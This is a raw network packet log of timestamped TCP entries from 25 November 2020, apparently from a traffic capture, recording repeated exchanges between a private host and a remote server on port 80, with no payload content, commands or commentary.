Nov 25, 2020 19:07:59.919066906 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.919070005 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.919084072 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.919110060 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.919131994 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.919158936 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.919867039 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.919908047 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.919945955 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.919970036 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.919991970 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920007944 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.920135975 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.920205116 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920247078 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920269012 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.920308113 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.920490980 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920533895 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920561075 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.920572042 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920587063 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.920613050 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920651913 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920672894 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.920691013 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920712948 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.920730114 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920762062 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.920768976 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920779943 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.920815945 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920859098 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.920865059 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.920928001 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921129942 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921169996 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921216965 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921236038 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921271086 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921272039 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921498060 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921510935 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921549082 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921569109 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921592951 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921627998 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921631098 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921644926 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921672106 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921704054 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921716928 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921766996 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921806097 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921816111 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921854019 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921855927 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921895981 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921916962 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921936989 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.921958923 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.921976089 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.922000885 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.922087908 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.922197104 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.922236919 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.922260046 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.922276020 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.922293901 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.922317982 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.922333956 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.922379017 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.922781944 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.922823906 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.922844887 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.922898054 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.923032999 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923075914 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923101902 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.923115015 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923152924 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923155069 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.923192978 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923196077 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.923232079 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923280001 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923299074 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.923325062 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923378944 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.923423052 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.923602104 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923625946 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923651934 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923660994 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.923677921 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923702955 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.923746109 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.923749924 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923774958 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.923841953 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.925463915 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.925493002 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.925514936 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.925544024 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.925550938 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.925564051 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.925569057 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.925590038 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.925595999 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.925636053 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.925654888 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.925780058 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.925803900 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.925858974 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.926028013 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926054001 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926120996 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926131964 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.926146984 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926170111 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926181078 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.926193953 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926212072 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.926218033 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926232100 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.926244020 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926255941 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.926295042 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.926493883 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926521063 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926615000 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.926758051 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926783085 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926805019 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926829100 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.926830053 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.926858902 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.926875114 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.927006006 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.927031040 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.927052975 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.927068949 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.927082062 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.927087069 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.927093983 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.927108049 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.927133083 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.927212000 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.927293062 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.927304029 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.927587032 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.927613974 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.927635908 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.927659035 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.927681923 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.927694082 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.927728891 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.927743912 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.927752972 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.928054094 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.928083897 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.928111076 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.928152084 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.928225994 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.928924084 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.928955078 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.928972960 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.928994894 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929018021 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929028988 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929040909 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929060936 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929065943 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929096937 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929121971 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929125071 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929162979 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929177046 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929188013 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929214001 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929241896 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929248095 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929266930 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929284096 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929292917 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929297924 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929316998 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929322004 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929347992 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929356098 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929373980 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929394007 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929404974 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929415941 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929415941 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929440975 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929456949 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929466009 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929466009 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929491997 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929527998 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.929930925 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929955959 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929986954 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.929990053 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.930006981 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.930012941 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.930015087 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.930470943 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.930500984 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.930525064 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.930537939 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.930547953 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.930566072 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.930591106 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:07:59.930627108 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.930650949 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:07:59.930699110 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.080229044 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.080290079 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.080332994 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.080333948 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.080364943 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.080378056 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.080382109 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.080583096 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.080878019 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.080924034 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.080945015 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.080964088 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.080969095 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.081003904 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.081042051 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.081089020 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.081090927 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.081101894 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.081136942 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.081176043 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.081213951 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.081264019 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.081285000 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.081290960 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.081368923 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.081463099 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.081512928 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.081536055 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.081604958 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.081820965 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.081862926 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.081901073 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.081931114 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.081970930 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.084240913 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.084285975 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.084327936 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.084348917 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.084367990 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.084371090 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.084393024 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.084413052 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.084435940 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.084532976 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.084558964 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.084608078 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.084650040 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.084651947 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.084666967 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.084709883 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.086030006 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.086119890 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.087434053 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.087477922 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.087516069 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.087527037 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.087549925 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.087555885 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.087579012 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.087604046 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.087608099 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.087647915 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.087663889 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.087687016 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.087744951 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088077068 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088119984 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088156939 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088176966 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088203907 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088208914 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088248014 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088288069 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088371992 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088469028 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088480949 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088519096 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088560104 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088598967 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088629961 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088665962 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088689089 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088706017 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088745117 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088790894 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088792086 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088800907 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088805914 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088835001 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088875055 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.088922977 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.088937044 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089138031 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089198112 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089241982 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089287996 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089366913 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089369059 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089394093 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089426041 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089438915 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089481115 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089519024 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089541912 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089564085 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089584112 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089652061 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089694023 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089730978 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089744091 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089756966 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089807987 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089848042 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089878082 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089891911 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089916945 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089956045 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.089962006 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.089997053 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090017080 CET	49771	80	192.168.2.7	63.250.47.200
Nov 25, 2020 19:08:00.090038061 CET	80	49771	63.250.47.200	192.168.2.7
Nov 25, 2020 19:08:00.090059996 CET	49771	80	192.168.2.7	63.250.47.200
